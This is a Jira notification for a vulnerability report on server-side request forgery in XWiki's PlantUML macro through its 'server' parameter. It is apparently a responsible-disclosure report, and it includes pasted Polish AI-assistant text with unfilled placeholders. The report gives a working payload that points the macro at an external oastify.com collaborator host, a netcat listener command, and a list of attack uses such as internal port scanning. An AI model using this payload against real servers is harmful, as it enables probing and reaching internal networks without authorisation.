This issue has been created
There are 2 updates.
 
 
PlantUML Macro / cid:jira-generated-image-avatar-9ec8d3f0-1cf7-44d7-b2d8-6427d5ac36bd PLANTUML-25 Open

Server-Side Request Forgery (SSRF) in PlantUML Macro via 'server' parameter

 
View issue   ·   Add comment
 

Issue created

 
cid:jira-generated-image-avatar-5db5c55b-170f-4afd-b330-340997cb467e Łukasz Rybak created this issue on 25/Nov/25 20:34
 
Summary: Server-Side Request Forgery (SSRF) in PlantUML Macro via 'server' parameter
Issue Type: cid:jira-generated-image-avatar-9ec8d3f0-1cf7-44d7-b2d8-6427d5ac36bd Bug
Assignee: Unassigned
Attachments: image-2025-11-25-20-31-00-469.png, image-2025-11-25-20-31-34-295.png, image-2025-11-25-20-31-57-213.png, image-2025-11-25-20-32-25-311.png
Created: 25/Nov/25 20:34
Labels: attacker_script ssrf
Priority: cid:jira-generated-image-static-major-0cb6e11e-bd08-4033-a351-1ee131b6d5eb Major
Reporter: Łukasz Rybak
Description:

Impact

 

The PlantUML Macro is vulnerable to Server-Side Request Forgery (SSRF). The macro allows users to specify an alternative PlantUML server via the server parameter.

However, the application does not validate the supplied URL. An attacker can supply an internal IP address (e.g., localhost, internal network services) or a malicious external URL. The XWiki server will attempt to connect to this URL to "render" the diagram.

Technical Analysis

Vulnerable Component: PlantUML Macro Vulnerable Parameter: server="..."

Root Cause: The macro code accepts the user-supplied server string and uses it to construct an HTTP request to fetch the generated image, without ensuring the target is a permitted public PlantUML service.

To fantastyczne znalezisko! 🕵️‍♂️ Odkryłeś kolejny wektor SSRF, tym razem w makrze PlantUML.

To znalezisko różni się nieco od poprzedniego (FeedPlugin), ponieważ tutaj funkcjonalność definiowania serwera zewnętrznego jest wbudowana w makro, ale została zaimplementowana bez odpowiednich zabezpieczeń (brak walidacji, czy podany serwer nie jest adresem wewnętrznym).

 

Analiza Dowodów

 

  1. Payload: Użyłeś {}{{plantuml server="http://...oastify.com"{}}}. To jest profesjonalne podejście (tzw. OOB - Out of Band interaction).
  1. Wynik na stronie: Widzisz ścieżkę /tmp/plantuml/.... Oznacza to, że XWiki:
    • Przyjęło Twój URL.
    • Wysłało tam żądanie (aby pobrać wygenerowany obrazek).
    • Prawdopodobnie zapisało odpowiedź (lub pusty plik w razie błędu) w katalogu tymczasowym.
    • Próbowało to wyświetlić.

Kluczowy dowód: Jeśli w Twoim kliencie Burp Collaborator (bo widzę domenę oastify.com) pojawiło się zapytanie DNS lub HTTP z serwera XWiki – masz 100% potwierdzone SSRF.


 

Gotowy Raport do JIRA

 

To jest oddzielny komponent (Extension/Macro), więc zgłaszamy to jako nowe issue.

Summary: Server-Side Request Forgery (SSRF) in PlantUML Macro via 'server' parameter

Description:

 

Impact

 

The PlantUML Macro is vulnerable to Server-Side Request Forgery (SSRF). The macro allows users to specify an alternative PlantUML server via the server parameter.

However, the application does not validate the supplied URL. An attacker can supply an internal IP address (e.g., localhost, internal network services) or a malicious external URL. The XWiki server will attempt to connect to this URL to "render" the diagram.

This allows an attacker to:

  1. Scan internal network ports (by observing response times or error messages).
  1. Access internal HTTP services masquerading as the XWiki server.
  1. Leak IP addresses to external servers (OOB interaction).

 

Technical Analysis

 

Vulnerable Component: PlantUML Macro Vulnerable Parameter: server="..."

Root Cause: The macro code accepts the user-supplied server string and uses it to construct an HTTP request to fetch the generated image, without ensuring the target is a permitted public PlantUML service.

 

Reproduction Steps & Proof of Concept

 

  1. Setup: Use an OAST service (like Burp Collaborator) or a local listener (nc -lvp 4444) to capture the interaction.
  1. Exploit Injection: Create a wiki page with the following content:
    Fragment kodu
     
    {{plantuml server="http://oqiusawt5ny84yw017u6qgnay14ssmgb.oastify.com"
    @startuml
    A -> B: SSRF Test
    @enduml
    /plantuml}}
    44379_image-2025-11-25-20-31-00-469.png
  1. Execution: Save and View the page.
    44378_image-2025-11-25-20-31-57-213.png
  1. Observation: The XWiki server initiates an HTTP connection to the specified target.

44380_image-2025-11-25-20-32-25-311.png

 

 

 

Patches

 

The server parameter should be either:

  1. Removed (forcing the use of the globally configured PlantUML server).
  1. Validated against a strict allowlist of trusted domains defined in xwiki.properties.
  1. Restricted to prevent access to private IP ranges (RFC 1918) and loopback addresses.

 

Attribution

 

Reported by: [Twój Nick] GitHub: https://github.com/[TwójLogin]

 
 

2 updates

 
cid:jira-generated-image-avatar-5db5c55b-170f-4afd-b330-340997cb467e Changes by Łukasz Rybak on 25/Nov/25 20:34
 
Description: h3. * Impact

 

The PlantUML Macro is vulnerable to Server-Side Request Forgery (SSRF). The macro allows users to specify an alternative PlantUML server via the {{server}} parameter.

However, the application does not validate the supplied URL. An attacker can supply an internal IP address (e.g., localhost, internal network services) or a malicious external URL. The XWiki server will attempt to connect to this URL to "render" the diagram.


h3. Technical Analysis

* Vulnerable Component:* PlantUML Macro *Vulnerable Parameter:* {{server="..."}}

*Root Cause:* The macro code accepts the user-supplied {{server}} string and uses it to construct an HTTP request to fetch the generated image, without ensuring the target is a permitted public PlantUML service.



To fantastyczne znalezisko! 🕵️‍♂️ Odkryłeś kolejny wektor {*}SSRF{*}, tym razem w makrze PlantUML.

To znalezisko różni się nieco od poprzedniego (FeedPlugin), ponieważ tutaj {*}funkcjonalność definiowania serwera zewnętrznego jest wbudowana w makro{*}, ale została zaimplementowana bez odpowiednich zabezpieczeń (brak walidacji, czy podany serwer nie jest adresem wewnętrznym).

 
h3. Analiza Dowodów

 
# *Payload:* Użyłeś {{{}{\{plantuml server="http://...oastify.com"}}{}}}. To jest profesjonalne podejście (tzw. OOB - Out of Band interaction).

# *Wynik na stronie:* Widzisz ścieżkę {{{}/tmp/plantuml/...{}}}. Oznacza to, że XWiki:

** Przyjęło Twój URL.

** Wysłało tam żądanie (aby pobrać wygenerowany obrazek).

** Prawdopodobnie zapisało odpowiedź (lub pusty plik w razie błędu) w katalogu tymczasowym.

** Próbowało to wyświetlić.

*Kluczowy dowód:* Jeśli w Twoim kliencie Burp Collaborator (bo widzę domenę {{{}oastify.com{}}}) pojawiło się zapytanie DNS lub HTTP z serwera XWiki – {*}masz 100% potwierdzone SSRF{*}.
----
 
h3. Gotowy Raport do JIRA

 

To jest oddzielny komponent (Extension/
Macro ), więc zgłaszamy to jako nowe issue.

*Summary:* Server-Side Request Forgery (SSRF) in PlantUML Macro via 'server' parameter

*Description:*

 
h3. Impact

 

The PlantUML Macro
is vulnerable to Server-Side Request Forgery (SSRF). The macro allows users to specify an alternative PlantUML server via the {{server}} parameter.

However, the application does not validate the supplied URL. An attacker can supply an internal IP address (e.g., localhost, internal network services) or a malicious external URL. The XWiki server will attempt to connect to this URL to "render" the diagram.

This allows an attacker to:
# *Scan internal network ports* (by observing response times or error messages).

# *Access internal HTTP services* masquerading as the XWiki server.

# *Leak IP addresses* to external servers (OOB interaction).

 
h3. Technical Analysis

 

*Vulnerable Component:* PlantUML Macro *Vulnerable Parameter:* {{server="..."}}

*Root Cause:* The macro code accepts the user-supplied {{server}} string and uses it to construct an HTTP request to fetch the generated image, without ensuring the target is a permitted public PlantUML service.

 
h3. Reproduction Steps & Proof of Concept

 
# *Setup:* Use an OAST service (like Burp Collaborator) or a local listener ({{{}nc -lvp 4444{}}}) to capture the interaction.

# *Exploit Injection:* Create a wiki page with the following content:
Fragment kodu
 
{{{
\ { {} plantuml server="http://oqiusawt5ny84yw017u6qgnay14ssmgb.oastify.com" { }} }
@startuml
A -> B: SSRF Test
@enduml
\ {{ {} /plantuml { }}}} }
!image-2025-11-25-20-31-00-469.png!

# *Execution:* Save and View the page.
!image-2025-11-25-20-31-57-213.png!

# *Observation:* The XWiki server initiates an HTTP connection to the specified target.

!image-2025-11-25-20-32-25-311.png!

 

 

 
h3. Patches

 

The {{server}} parameter should be either:
#
Removed (forcing the use of the globally configured PlantUML server).

# Validated against a strict allowlist of trusted domains defined in {{{}xwiki.properties{}}}.

# Restricted to prevent access to private IP ranges (RFC 1918) and loopback addresses.

 
h3. Attribution

 

Reported by:
[Twój Nick] Łukasz Rybak GitHub: [https://github.com/ lukasz-rybak ] [TwójLogin]
Assignee: Łukasz Rybak